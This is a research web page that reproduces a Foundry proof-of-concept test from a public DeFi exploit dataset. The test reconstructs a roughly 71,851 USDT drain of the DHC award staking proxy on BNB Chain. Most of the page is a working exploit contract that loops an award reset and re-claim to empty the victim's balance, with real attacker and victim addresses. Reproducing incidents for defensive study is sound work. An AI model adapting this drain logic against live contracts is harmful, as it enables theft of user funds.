Public reproduction file
src/test/2026-09/DHC_exp.sol
Public reproduction file for dataset entry DHC.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";6// DHC (DeHealth / RedSonic-style "Award" staking) — award re-claim (share-price / reward double7// spend) — BNB Chain. Attacker net gain ~71,851 USDT.8//9// Attacker EOA : 0xD3A8D0A9F55cf679fff6F277E49AfC95B49D2B0710// Exploit contract (on-chain): 0x226923D34A10f3D54B57b9F4b685E82c6Cba968A11// Victim proxy : 0xe2a047aaDbac51b0116Af1cE91EbdAe4b4202094 (TransparentUpgradeableProxy)12// Vulnerable impl: 0x5abb3fe2a02e5d4320862944cd3a0b8f6af28ce1 (award logic; UNVERIFIED on BscScan)13// DHC token : 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9 (reflection token, proxy)14// USDT : 0x55d398326f99059fF775485246999027B319795515//16// On-chain the attack was 4 transactions in one block (120055460): a contract-creation (the17// exploit contract) and three calls into it — 0xc0406226, 0x9890220b, 0x84054d3d. This PoC keeps18// that 4-step shape (deploy in setUp, then prime()/pledge()/cashout()) but reconstructs each step19// as ordinary Solidity calling the victim's real functions, instead of replaying the attacker's20// creation bytecode as an opaque blob poked with bare selectors.21//22// Root cause (confirmed empirically against the exploit trace, block 120055460):23// The award state machine has no re-claim guard. createAward() records a fixed reward with no24// per-award reserve or locked collateral. participateAward() does not require the award to still25// be unclaimed, so a claimed award (status 2) can be reset back to status 1 by anyone owning the26// position, for as little as 0-1 wei. claimAward() then pays the same fixed reward again out of27// the shared proxy DHC balance. In the trace the caller is the attacker's contract, not the proxy28// owner (0x007FA7F9...), so it is permissionless. Repeating participate-reset + claim drains the29// proxy's entire DHC balance one fixed reward at a time.30//31// Attack flow, reconstructed below:32// 1. (prime) Take a USDT flash loan (on-chain: DODO), buy DHC on PancakeSwap for seed, register33// an inviter (the award system rejects participants with no inviter), then createAward with a34// fixed reward.35// 2. (pledge) participateAward once with the full pledge, then claimAward once (status -> 2).36// 3. (cashout) Loop { participateAward(id, tiny) to reset status 2 -> 1 ; claimAward(id) } until37// the proxy's DHC is drained, then dump the drained DHC to USDT on PancakeSwap, repay the38// flash-loan principal, and keep the surplus.39//40// NOTE on victim function names: the award-logic implementation (0x5abb3fe2...) is not verified on41// BscScan and none of the four award selectors observed in the trace resolve in the 4byte42// directory. They are therefore called here as raw selector calls (visible selector + explicit43// arguments, not an opaque pre-encoded calldata blob). The behaviour attached to each selector is44// inferred from the on-chain trace (argument layout, token movements, status transitions), and the45// helper names below (createAward / getAward / participateAward / claimAward) describe that observed46// behaviour rather than a verified source name:47// 0x7f200fee createAward(uint256 reward) -> records a fixed reward48// 0x9ba6df97 getAward() -> returns the current award tuple; id is the last word49// 0xe3db9b54 participateAward(uint256 id, uint256) -> (re)enters the award; resets a claimed award to claimable50// 0x43609f36 claimAward(uint256 id) -> pays the fixed reward from the shared proxy balance51// setInviter/getInviter (on the DHC token) and the PancakeSwap router functions are standard and52// resolve normally.53//54// The USDT flash loan itself is not the vulnerability; it is modelled here with a dealt USDT balance55// (the seed principal, repaid out of proceeds) rather than wiring the DODO callback, for clarity.56//57// Run:58// forge test --contracts src/test/2026-09/DHC_exp.sol -vvv60interface IERC20 {61 function balanceOf(address) external view returns (uint256);62 function approve(address, uint256) external returns (bool);63 function transfer(address, uint256) external returns (bool);64}66interface IDHC {67 // DHC token referral registry. setInviter requires the given inviter to already be registered,68 // which is why the on-chain attack chained helper positions off an existing registered address.69 function setInviter(address inviter) external;70 function getInviter(address user) external view returns (address);71}73interface IPancakeRouter {74 function swapExactTokensForTokensSupportingFeeOnTransferTokens(75 uint256 amountIn,76 uint256 amountOutMin,77 address[] calldata path,78 address to,79 uint256 deadline80 ) external;81}83contract DHC_exp is Test {84 address internal constant ATTACKER = 0xD3A8D0A9F55cf679fff6F277E49AfC95B49D2B07;85 address internal constant PROXY = 0xe2A047aADbac51b0116Af1cE91eBDAe4B4202094;86 address internal constant IMPL = 0x5ABB3fe2A02E5D4320862944cd3a0B8f6Af28CE1;87 address internal constant DHC = 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9;88 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;90 uint256 internal constant SEED_USDT = 10_000 ether; // on-chain: DODO USDT flash loan principal92 DHCExploit internal exploit;94 function setUp() public {95 // Parent block of the exploit tx: real protocol state immediately before the attack.96 vm.createSelectFork("bsc", 120055459);97 exploit = new DHCExploit(ATTACKER);99 // Model the DODO USDT flash loan: fund the exploit with the principal it repays at the end.100 deal(USDT, address(exploit), SEED_USDT);102 vm.label(ATTACKER, "Attacker");103 vm.label(address(exploit), "Exploit");104 vm.label(PROXY, "DHC_Vault_Proxy");105 vm.label(IMPL, "DHC_Award_Impl");106 vm.label(DHC, "DHC");107 vm.label(USDT, "USDT");108 }110 function testExploit() public {111 uint256 before = IERC20(USDT).balanceOf(ATTACKER);112 emit log_named_decimal_uint("attacker USDT before", before, 18);114 // The 4-step, one-block structure: deploy (setUp) then three calls, all as the attacker.115 vm.startPrank(ATTACKER, ATTACKER);116 exploit.prime(SEED_USDT); // 0xc0406226 on-chain117 exploit.pledge(); // 0x9890220b on-chain118 exploit.cashout(SEED_USDT); // 0x84054d3d on-chain119 vm.stopPrank();121 uint256 profit = IERC20(USDT).balanceOf(ATTACKER) - before;122 emit log_named_decimal_uint("attacker USDT after", IERC20(USDT).balanceOf(ATTACKER), 18);123 emit log_named_decimal_uint("attacker net profit (USDT)", profit, 18);125 // On-chain the attacker EOA received 71,851.0167 USDT. This reconstruction reproduces the126 // loss to within ~1% (single-pair dump vs the original's multi-venue dump, and the inviter127 // cut on the first pledge), so it is asserted with a small band rather than to the wei.128 assertGe(profit, 70_000 ether, "profit below expected ~71,851 USDT");129 assertApproxEqAbs(profit, 71_851 ether, 2_000 ether, "profit off reconstructed ~71,851 USDT");130 }131}133contract DHCExploit {134 address internal constant PROXY = 0xe2A047aADbac51b0116Af1cE91eBDAe4B4202094;135 address internal constant DHC = 0x743F15f4d2481774d970f286f0EbAD9C3Daed6E9;136 address internal constant USDT = 0x55d398326f99059fF775485246999027B3197955;137 address internal constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // PancakeSwap V2 router138 // An already-registered DHC referral account; used as this contract's inviter so participateAward139 // can pay its inviter cut (it reverts on a zero inviter). On-chain the attacker chained its own140 // helper positions off this same root address.141 address internal constant ROOT_INVITER = 0xe099bC70737158FD580Be8BD082faCaB3eCfFA60;143 // Award-logic selectors on the (unverified) implementation. See the NOTE in the file header.144 bytes4 internal constant SEL_CREATE_AWARD = 0x7f200fee;145 bytes4 internal constant SEL_GET_AWARD = 0x9ba6df97;146 bytes4 internal constant SEL_PARTICIPATE = 0xe3db9b54;147 bytes4 internal constant SEL_CLAIM = 0x43609f36;149 // Fixed reward the award is created with (matches the on-chain attack): 14016.519... DHC. The150 // reward paid out per claim is a fixed fraction of this, taken from the shared proxy balance.151 uint256 internal constant REWARD = 0x2f7d64a231c0d4801fe;152 uint256 internal constant RESET_AMOUNT = 2; // dust re-pledge that flips a claimed award back to claimable154 address internal immutable owner;155 uint256 internal awardId;157 constructor(address owner_) {158 owner = owner_;159 }161 // Step 1 (0xc0406226): flash-loan-funded seed buy, inviter registration, and award creation.162 function prime(uint256 seedUsdt) external {163 require(msg.sender == owner, "not owner");165 // Buy DHC seed with the flash-loaned USDT.166 _swap(USDT, DHC, seedUsdt);168 // Register an inviter so the award system will accept this contract as a participant.169 IDHC(DHC).setInviter(ROOT_INVITER);171 // Approve DHC for the award vault and create the award with a fixed reward.172 IERC20(DHC).approve(PROXY, type(uint256).max);173 _award(abi.encodeWithSelector(SEL_CREATE_AWARD, REWARD), "createAward");175 // Read back the created award; its id is the last word of the returned tuple.176 bytes memory ret = _award(abi.encodeWithSelector(SEL_GET_AWARD), "getAward");177 uint256 id;178 assembly {179 id := mload(add(ret, mload(ret)))180 }181 awardId = id;182 }184 // Step 2 (0x9890220b): the initial full pledge and first claim.185 function pledge() external {186 require(msg.sender == owner, "not owner");187 _participate(REWARD);188 _claim();189 }191 // Step 3 (0x84054d3d): drain the proxy by re-claiming the same award, then dump to USDT.192 function cashout(uint256 seedUsdt) external {193 require(msg.sender == owner, "not owner");195 // Re-claim loop: reset the claimed award to claimable for dust, then claim the fixed reward196 // again, until the shared proxy balance can no longer cover a reward.197 for (uint256 i = 0; i < 600; i++) {198 if (IERC20(DHC).balanceOf(PROXY) < 1401 ether) break;199 _participate(RESET_AMOUNT);200 _claim();201 }203 // Dump all drained DHC for USDT.204 _swap(DHC, USDT, IERC20(DHC).balanceOf(address(this)));206 // Repay the flash-loan principal (retained in this contract), send the surplus to the EOA.207 uint256 bal = IERC20(USDT).balanceOf(address(this));208 require(bal > seedUsdt, "no profit");209 IERC20(USDT).transfer(owner, bal - seedUsdt);210 }212 function _participate(uint256 amount) internal {213 _award(abi.encodeWithSelector(SEL_PARTICIPATE, awardId, amount), "participateAward");214 }216 function _claim() internal {217 _award(abi.encodeWithSelector(SEL_CLAIM, awardId), "claimAward");218 }220 function _award(bytes memory data, string memory what) internal returns (bytes memory) {221 (bool ok, bytes memory ret) = PROXY.call(data);222 require(ok, what);223 return ret;224 }226 function _swap(address tokenIn, address tokenOut, uint256 amountIn) internal {227 IERC20(tokenIn).approve(ROUTER, amountIn);228 address[] memory path = new address[](2);229 path[0] = tokenIn;230 path[1] = tokenOut;231 IPancakeRouter(ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(232 amountIn, 0, path, address(this), block.timestamp233 );234 }235}Analysis
Dataset entry
Public Foundry test for “DHC” (2026-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd3a8d0a9f55cf679fff6f277e49afc95b49d2b07
- Victim
0xe2a047aadbac51b0116af1ce91ebdae4b4202094
File record
- Name
- DHC
- Path
- src/test/2026-09/DHC_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d3f06cd5e6fd1b36d2a54742ccea70b2cee50eb2
- Language
- Solidity
- Size
- 236 lines
- Date
- 2026-09-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/DHC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d3f06cd5e6fd1b36d2a54742ccea70b2cee50eb2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.